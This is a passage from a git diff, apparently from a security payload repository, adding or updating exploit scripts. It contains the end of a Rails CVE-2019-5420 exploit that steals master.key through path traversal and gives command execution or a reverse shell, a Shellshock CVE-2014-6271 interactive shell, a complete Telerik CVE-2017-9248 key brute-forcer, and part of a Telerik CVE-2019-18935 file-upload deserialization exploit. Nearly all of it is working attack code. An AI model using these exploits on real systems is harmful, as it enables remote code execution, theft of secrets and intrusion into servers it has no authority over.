path = path[3..57]
|
||||||
|
$i +=1;
|
||||||
|
end
|
||||||
|
|
||||||
|
print "[+] Decrypt secret_key_base => "
|
||||||
|
credentials_config_path = File.join("../", "credentials.yml.enc")
|
||||||
|
credentials_key_path = File.join("../", "master.key")
|
||||||
|
ENV["RAILS_MASTER_KEY"] = res.body
|
||||||
|
credentials = ActiveSupport::EncryptedConfiguration.new(
|
||||||
|
config_path: Rails.root.join(credentials_config_path),
|
||||||
|
key_path: Rails.root.join(credentials_key_path),
|
||||||
|
env_key: "RAILS_MASTER_KEY",
|
||||||
|
raise_if_missing_key: true
|
||||||
|
)
|
||||||
|
if credentials.secret_key_base != nil
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
puts ""
|
||||||
|
puts "secret_key_base": credentials.secret_key_base
|
||||||
|
puts ""
|
||||||
|
end
|
||||||
|
|
||||||
|
puts "[+] Getting reflective command (R) or reverse shell (S) => "
|
||||||
|
loop do
|
||||||
|
begin
|
||||||
|
input = [(print 'Select option R or S: '), gets.rstrip][1]
|
||||||
|
if input == "R"
|
||||||
|
puts "Reflective command selected"
|
||||||
|
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
|
||||||
|
elsif input == "S"
|
||||||
|
puts "Reverse shell selected"
|
||||||
|
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
|
||||||
|
else
|
||||||
|
puts "No option selected"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
command_b64 = Base64.encode64(command)
|
||||||
|
|
||||||
|
print "[+] Generating payload CVE-2019-5420 => "
|
||||||
|
secret_key_base = credentials.secret_key_base
|
||||||
|
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
|
||||||
|
secret = key_generator.generate_key("ActiveStorage")
|
||||||
|
verifier = ActiveSupport::MessageVerifier.new(secret)
|
||||||
|
if input == "R"
|
||||||
|
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
|
||||||
|
else
|
||||||
|
code = "system('bash','-c','" + command + "')"
|
||||||
|
end
|
||||||
|
erb = ERB.allocate
|
||||||
|
erb.instance_variable_set :@src, code
|
||||||
|
erb.instance_variable_set :@filename, "1"
|
||||||
|
erb.instance_variable_set :@lineno, 1
|
||||||
|
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
|
||||||
|
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
puts ""
|
||||||
|
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
|
||||||
|
puts url
|
||||||
|
puts ""
|
||||||
|
|
||||||
|
print "[+] Sending request => "
|
||||||
|
uri = URI(url)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "500"
|
||||||
|
puts "\033[92mOK\033[0m"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
if input == "R"
|
||||||
|
print "[+] Getting result of command => "
|
||||||
|
uri = URI($remote + $ressource)
|
||||||
|
req = Net::HTTP::Get.new(uri)
|
||||||
|
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
|
||||||
|
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||||
|
http.request(req)
|
||||||
|
}
|
||||||
|
if res.code == "200"
|
||||||
|
puts "\033[92mOK\033[0m\n\n"
|
||||||
|
puts res.body
|
||||||
|
puts "\n"
|
||||||
|
else
|
||||||
|
puts "KO"
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue Exception => e
|
||||||
|
puts "Exiting..."
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
end
|
||||||
18
CVE Exploits/Shellshock CVE-2014-6271.py
Executable file → Normal file
18
CVE Exploits/Shellshock CVE-2014-6271.py
Executable file → Normal file
@@ -11,22 +11,26 @@
|
|||||||
# ..
|
# ..
|
||||||
# ~$ /bin/cat /etc/passwd
|
# ~$ /bin/cat /etc/passwd
|
||||||
|
|
||||||
import sys, urllib2
|
from __future__ import print_function
|
||||||
|
from future import standard_library
|
||||||
|
standard_library.install_aliases()
|
||||||
|
from builtins import input
|
||||||
|
import sys, urllib.request, urllib.error, urllib.parse
|
||||||
|
|
||||||
if len(sys.argv) != 2:
|
if len(sys.argv) != 2:
|
||||||
print "Usage: shell_shocker <URL>"
|
print("Usage: shell_shocker <URL>")
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
URL=sys.argv[1]
|
URL=sys.argv[1]
|
||||||
print "[+] Attempting Shell_Shock - Make sure to type full path"
|
print("[+] Attempting Shell_Shock - Make sure to type full path")
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
command=raw_input("~$ ")
|
command=input("~$ ")
|
||||||
opener=urllib2.build_opener()
|
opener=urllib.request.build_opener()
|
||||||
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
|
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
|
||||||
try:
|
try:
|
||||||
response=opener.open(URL)
|
response=opener.open(URL)
|
||||||
for line in response.readlines():
|
for line in response.readlines():
|
||||||
print line.strip()
|
print(line.strip())
|
||||||
except Exception as e: print e
|
except Exception as e: print(e)
|
||||||
|
|
||||||
|
|||||||
362
CVE Exploits/Telerik CVE-2017-9248.py
Normal file
362
CVE Exploits/Telerik CVE-2017-9248.py
Normal file
@@ -0,0 +1,362 @@
|
|||||||
|
# Author: Paul Taylor / @bao7uo
|
||||||
|
|
||||||
|
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
|
||||||
|
|
||||||
|
# dp_crypto - CVE-2017-9248 exploit
|
||||||
|
# Telerik.Web.UI.dll Cryptographic compromise
|
||||||
|
|
||||||
|
# Warning - no cert warnings,
|
||||||
|
# and verify = False in code below prevents verification
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import base64
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import binascii
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||||
|
|
||||||
|
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||||
|
|
||||||
|
requests_sent = 0
|
||||||
|
char_requests = 0
|
||||||
|
|
||||||
|
|
||||||
|
def getProxy(proxy):
|
||||||
|
return { "http" : proxy, "https" : proxy }
|
||||||
|
|
||||||
|
|
||||||
|
def get_result(plaintext, key, session, pad_chars):
|
||||||
|
global requests_sent, char_requests
|
||||||
|
|
||||||
|
url = args.url
|
||||||
|
base_pad = (len(key) % 4)
|
||||||
|
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
|
||||||
|
dp_encrypted = base64.b64encode(
|
||||||
|
(encrypt(plaintext, key) + base).encode()
|
||||||
|
).decode()
|
||||||
|
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
|
||||||
|
request = request.prepare()
|
||||||
|
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
|
||||||
|
requests_sent += 1
|
||||||
|
char_requests += 1
|
||||||
|
|
||||||
|
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
|
||||||
|
return True \
|
||||||
|
if match is not None \
|
||||||
|
and match.group(2) == args.oracle \
|
||||||
|
else False
|
||||||
|
|
||||||
|
def test_keychar(keychar, found, session, pad_chars):
|
||||||
|
base64chars = [
|
||||||
|
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
|
||||||
|
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
|
||||||
|
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
|
||||||
|
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
|
||||||
|
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
|
||||||
|
"P", "f", "v", "/"
|
||||||
|
]
|
||||||
|
|
||||||
|
duff = False
|
||||||
|
accuracy_thoroughness_threshold = args.accuracy
|
||||||
|
for bc in range(int(accuracy_thoroughness_threshold)):
|
||||||
|
# ^^ max is len(base64chars)
|
||||||
|
sys.stdout.write("\b\b" + base64chars[bc] + "]")
|
||||||
|
sys.stdout.flush()
|
||||||
|
if not get_result(
|
||||||
|
base64chars[0] * len(found) + base64chars[bc],
|
||||||
|
found + keychar, session, pad_chars
|
||||||
|
):
|
||||||
|
duff = True
|
||||||
|
break
|
||||||
|
return False if duff else True
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt(dpdata, key):
|
||||||
|
encrypted = []
|
||||||
|
k = 0
|
||||||
|
for i in range(len(dpdata)):
|
||||||
|
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
|
||||||
|
k = 0 if k >= len(key) - 1 else k + 1
|
||||||
|
return ''.join(str(e) for e in encrypted)
|
||||||
|
|
||||||
|
|
||||||
|
def mode_decrypt():
|
||||||
|
ciphertext = base64.b64decode(args.ciphertext).decode()
|
||||||
|
key = args.key
|
||||||
|
print(base64.b64decode(encrypt(ciphertext, key)).decode())
|
||||||
|
print("")
|
||||||
|
|
||||||
|
|
||||||
|
def mode_encrypt():
|
||||||
|
plaintext = args.plaintext
|
||||||
|
key = args.key
|
||||||
|
|
||||||
|
plaintext = base64.b64encode(plaintext.encode()).decode()
|
||||||
|
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
|
||||||
|
print("")
|
||||||
|
|
||||||
|
|
||||||
|
def test_keypos(key_charset, unprintable, found, session):
|
||||||
|
pad_chars = ''
|
||||||
|
for pad_char in range(256):
|
||||||
|
pad_chars += chr(pad_char)
|
||||||
|
|
||||||
|
for i in range(len(pad_chars)):
|
||||||
|
for k in range(len(key_charset)):
|
||||||
|
keychar = key_charset[k]
|
||||||
|
sys.stdout.write("\b"*6)
|
||||||
|
sys.stdout.write(
|
||||||
|
(
|
||||||
|
keychar
|
||||||
|
if unprintable is False
|
||||||
|
else '+'
|
||||||
|
) +
|
||||||
|
") [" + (
|
||||||
|
keychar
|
||||||
|
if unprintable is False
|
||||||
|
else '+'
|
||||||
|
) +
|
||||||
|
"]"
|
||||||
|
)
|
||||||
|
sys.stdout.flush()
|
||||||
|
if test_keychar(keychar, found, session, pad_chars[i] * 3):
|
||||||
|
return keychar
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def get_key(session):
|
||||||
|
global char_requests
|
||||||
|
found = ''
|
||||||
|
unprintable = False
|
||||||
|
|
||||||
|
key_length = args.key_len
|
||||||
|
key_charset = args.charset
|
||||||
|
if key_charset == 'all':
|
||||||
|
unprintable = True
|
||||||
|
key_charset = ''
|
||||||
|
for i in range(256):
|
||||||
|
key_charset += chr(i)
|
||||||
|
else:
|
||||||
|
if key_charset == 'hex':
|
||||||
|
key_charset = '01234567890ABCDEF'
|
||||||
|
|
||||||
|
print("Attacking " + args.url)
|
||||||
|
print(
|
||||||
|
"to find key of length [" +
|
||||||
|
str(key_length) +
|
||||||
|
"] with accuracy threshold [" +
|
||||||
|
str(args.accuracy) +
|
||||||
|
"]"
|
||||||
|
)
|
||||||
|
print(
|
||||||
|
"using key charset [" +
|
||||||
|
(
|
||||||
|
key_charset
|
||||||
|
if unprintable is False
|
||||||
|
else '- all ASCII -'
|
||||||
|
) +
|
||||||
|
"]\n"
|
||||||
|
)
|
||||||
|
for i in range(int(key_length)):
|
||||||
|
pos_str = (
|
||||||
|
str(i + 1)
|
||||||
|
if i > 8
|
||||||
|
else "0" + str(i + 1)
|
||||||
|
)
|
||||||
|
sys.stdout.write("Key position " + pos_str + ": (------")
|
||||||
|
sys.stdout.flush()
|
||||||
|
keychar = test_keypos(key_charset, unprintable, found, session)
|
||||||
|
if keychar is not False:
|
||||||
|
found = found + keychar
|
||||||
|
sys.stdout.write(
|
||||||
|
"\b"*7 + "{" +
|
||||||
|
(
|
||||||
|
keychar
|
||||||
|
if unprintable is False
|
||||||
|
else '0x' + binascii.hexlify(keychar.encode()).decode()
|
||||||
|
) +
|
||||||
|
"} found with " +
|
||||||
|
str(char_requests) +
|
||||||
|
" requests, total so far: " +
|
||||||
|
str(requests_sent) +
|
||||||
|
"\n"
|
||||||
|
)
|
||||||
|
sys.stdout.flush()
|
||||||
|
char_requests = 0
|
||||||
|
else:
|
||||||
|
sys.stdout.write("\b"*7 + "Not found, quitting\n")
|
||||||
|
sys.stdout.flush()
|
||||||
|
break
|
||||||
|
if keychar is not False:
|
||||||
|
print("Found key: " +
|
||||||
|
(
|
||||||
|
found
|
||||||
|
if unprintable is False
|
||||||
|
else "(hex) " + binascii.hexlify(found.encode()).decode()
|
||||||
|
)
|
||||||
|
)
|
||||||
|
print("Total web requests: " + str(requests_sent))
|
||||||
|
return found
|
||||||
|
|
||||||
|
|
||||||
|
def mode_brutekey():
|
||||||
|
session = requests.Session()
|
||||||
|
found = get_key(session)
|
||||||
|
|
||||||
|
if found == '':
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
urls = {}
|
||||||
|
url_path = args.url
|
||||||
|
params = (
|
||||||
|
'?DialogName=DocumentManager' +
|
||||||
|
'&renderMode=2' +
|
||||||
|
'&Skin=Default' +
|
||||||
|
'&Title=Document%20Manager' +
|
||||||
|
'&dpptn=' +
|
||||||
|
'&isRtl=false' +
|
||||||
|
'&dp='
|
||||||
|
)
|
||||||
|
versions = [
|
||||||
|
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
|
||||||
|
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
|
||||||
|
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
|
||||||
|
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
|
||||||
|
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
|
||||||
|
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
|
||||||
|
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
|
||||||
|
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
|
||||||
|
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
|
||||||
|
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
|
||||||
|
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
|
||||||
|
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
|
||||||
|
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
|
||||||
|
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
|
||||||
|
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
|
||||||
|
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
|
||||||
|
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
|
||||||
|
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
|
||||||
|
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
|
||||||
|
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
|
||||||
|
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
|
||||||
|
'2017.3.913'
|
||||||
|
]
|
||||||
|
|
||||||
|
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
|
||||||
|
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
|
||||||
|
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||||
|
plaintext3 = ';AllowMultipleSelection,False,3,False'
|
||||||
|
|
||||||
|
if len(args.version) > 0:
|
||||||
|
versions = [args.version]
|
||||||
|
|
||||||
|
for version in versions:
|
||||||
|
plaintext2_raw2 = version
|
||||||
|
plaintext2 = base64.b64encode(
|
||||||
|
(plaintext2_raw1 +
|
||||||
|
plaintext2_raw2 +
|
||||||
|
plaintext2_raw3
|
||||||
|
).encode()
|
||||||
|
).decode()
|
||||||
|
plaintext = plaintext1 + plaintext2 + plaintext3
|
||||||
|
plaintext = base64.b64encode(
|
||||||
|
plaintext.encode()
|
||||||
|
).decode()
|
||||||
|
ciphertext = base64.b64encode(
|
||||||
|
encrypt(
|
||||||
|
plaintext,
|
||||||
|
found
|
||||||
|
).encode()
|
||||||
|
).decode()
|
||||||
|
full_url = url_path + params + ciphertext
|
||||||
|
urls[version] = full_url
|
||||||
|
|
||||||
|
found_valid_version = False
|
||||||
|
for version in urls:
|
||||||
|
url = urls[version]
|
||||||
|
request = requests.Request('GET', url)
|
||||||
|
request = request.prepare()
|
||||||
|
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
|
||||||
|
if response.status_code == 500:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
match = re.search(
|
||||||
|
"(Error Message:)(.+\n*.+)(</div>)",
|
||||||
|
response.text
|
||||||
|
)
|
||||||
|
if match is None:
|
||||||
|
print(version + ": " + url)
|
||||||
|
found_valid_version = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not found_valid_version:
|
||||||
|
print("No valid version found")
|
||||||
|
|
||||||
|
def mode_samples():
|
||||||
|
print("Samples for testing decryption and encryption functions:")
|
||||||
|
print("-d ciphertext key")
|
||||||
|
print("-e plaintext key")
|
||||||
|
print("")
|
||||||
|
print("Key:")
|
||||||
|
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
|
||||||
|
print("")
|
||||||
|
print("Plaintext:")
|
||||||
|
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
|
||||||
|
print("")
|
||||||
|
print("Ciphertext:")
|
||||||
|
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
|
||||||
|
print("")
|
||||||
|
|
||||||
|
|
||||||
|
def mode_b64e():
|
||||||
|
print(base64.b64encode(args.parameter.encode()).decode())
|
||||||
|
print("")
|
||||||
|
|
||||||
|
|
||||||
|
def mode_b64d():
|
||||||
|
print(base64.b64decode(args.parameter.encode()).decode())
|
||||||
|
print("")
|
||||||
|
|
||||||
|
sys.stderr.write(
|
||||||
|
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
|
||||||
|
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
p = argparse.ArgumentParser()
|
||||||
|
subparsers = p.add_subparsers()
|
||||||
|
|
||||||
|
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
|
||||||
|
decrypt_parser.set_defaults(func=mode_decrypt)
|
||||||
|
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||||
|
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||||
|
|
||||||
|
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
|
||||||
|
encrypt_parser.set_defaults(func=mode_encrypt)
|
||||||
|
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||||
|
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||||
|
|
||||||
|
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
|
||||||
|
brute_parser.set_defaults(func=mode_brutekey)
|
||||||
|
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
|
||||||
|
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
|
||||||
|
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
|
||||||
|
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
|
||||||
|
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
|
||||||
|
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
|
||||||
|
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
|
||||||
|
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
|
||||||
|
|
||||||
|
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
|
||||||
|
encode_parser.set_defaults(func=mode_b64e)
|
||||||
|
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
|
||||||
|
|
||||||
|
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
|
||||||
|
decode_parser.set_defaults(func=mode_b64d)
|
||||||
|
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
|
||||||
|
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
if len(sys.argv) > 2:
|
||||||
|
args.func()
|
||||||
140
CVE Exploits/Telerik CVE-2019-18935.py
Normal file
140
CVE Exploits/Telerik CVE-2019-18935.py
Normal file
@@ -0,0 +1,140 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# origin : https://github.com/noperator/CVE-2019-18935
|
||||||
|
# INSTALL:
|
||||||
|
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
|
||||||
|
# python3 -m venv env
|
||||||
|
# source env/bin/activate
|
||||||
|
# pip3 install -r requirements.txt
|
||||||
|
|
||||||
|
# Import encryption routines.
|
||||||
|
from sys import path
|
||||||
|
path.insert(1, 'RAU_crypto')
|
||||||
|
from RAU_crypto import RAUCipher
|
||||||
|
|
||||||
|
from argparse import ArgumentParser
|
||||||
|
from json import dumps, loads
|
||||||
|
from os.path import basename, splitext
|
||||||
|
from pprint import pprint
|
||||||
|
from requests import post
|
||||||
|
from requests.packages.urllib3 import disable_warnings
|
||||||
|
from sys import stderr
|
||||||
|
from time import time
|
||||||
|
from urllib3.exceptions import InsecureRequestWarning
|
||||||
|
|
||||||
|
disable_warnings(category=InsecureRequestWarning)
|
||||||
|
|
||||||
|
def send_request(files):
|
||||||
|
headers = {
|
||||||
|
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
|
||||||
|
'Connection': 'close',
|
||||||
|
'Accept-Language': 'en-US,en;q=0.5',
|
||||||
|
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||||
|
'Upgrade-Insecure-Requests': '1'
|
||||||
|
}
|
||||||
|
response = post(url, files=files, verify=False, headers=headers)
|
||||||
|
try:
|
||||||
|
result = loads(response.text)
|
||||||
|
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
|
||||||
|
pprint(result)
|
||||||
|
except:
|
||||||
|
print(response.text)
|
||||||
|
|
||||||
|
def build_raupostdata(object, type):
|
||||||
|
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
|
||||||
|
|
||||||
|
def upload():
|
||||||
|
|
||||||
|
# Build rauPostData.
|
||||||
|
object = {
|
||||||
|
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
|
||||||
|
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
|
||||||
|
'MaxFileSize': 0,
|
||||||
|
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
|
||||||
|
'Ticks': 1440000000000,
|
||||||
|
'Days': 0,
|
||||||
|
'Hours': 40,
|
||||||
|
'Minutes': 0,
|
||||||
|
'Seconds': 0,
|
||||||
|
'Milliseconds': 0,
|
||||||
|
'TotalDays': 1.6666666666666666,
|
||||||
|
'TotalHours': 40,
|
||||||
|
'TotalMinutes': 2400,
|
||||||
|
'TotalSeconds': 144000,
|
||||||
|
'TotalMilliseconds': 144000000
|
||||||
|
},
|
||||||
|
'UseApplicationPoolImpersonation': False
|
||||||
|
}
|
||||||
|
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||||
|
raupostdata = build_raupostdata(object, type)
|
||||||
|
|
||||||
|
with open(filename_local, 'rb') as f:
|
||||||
|
payload = f.read()
|
||||||
|
|
||||||
|
metadata = {
|
||||||
|
'TotalChunks': 1,
|
||||||
|
'ChunkIndex': 0,
|
||||||
|
'TotalFileSize': 1,
|
||||||
|
'UploadID': filename_remote # Determines remote filename on disk.
|
||||||
|
}
|
||||||
|
|
||||||
|
# Build multipart form data.
|
||||||
|
files = {
|
||||||
|
'rauPostData': (None, raupostdata),
|
||||||
|
'file': (filename_remote, payload, 'application/octet-stream'),
|
||||||
|
'fileName': (None, filename_remote),
|
||||||
|
'contentType': (None, 'application/octet-stream'),
|
||||||
|
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
|
||||||
|
'metadata': (None, dumps(metadata))
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send request.
|
||||||
|
print('[*] Local payload name: ', filename_local, file=stderr)
|
||||||
|
print('[*] Destination folder: ', temp_target_folder, file=stderr)
|
||||||
|
print('[*] Remote payload name:', filename_remote, file=stderr)
|
||||||
|
print(file=stderr)
|
||||||
|
send_request(files)
|
||||||
|
|
||||||
|
def deserialize():
|
||||||
|
|
||||||
|
# Build rauPostData.
|
||||||
|
object = {
|
||||||
|
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
|
||||||
|
}
|
||||||
|
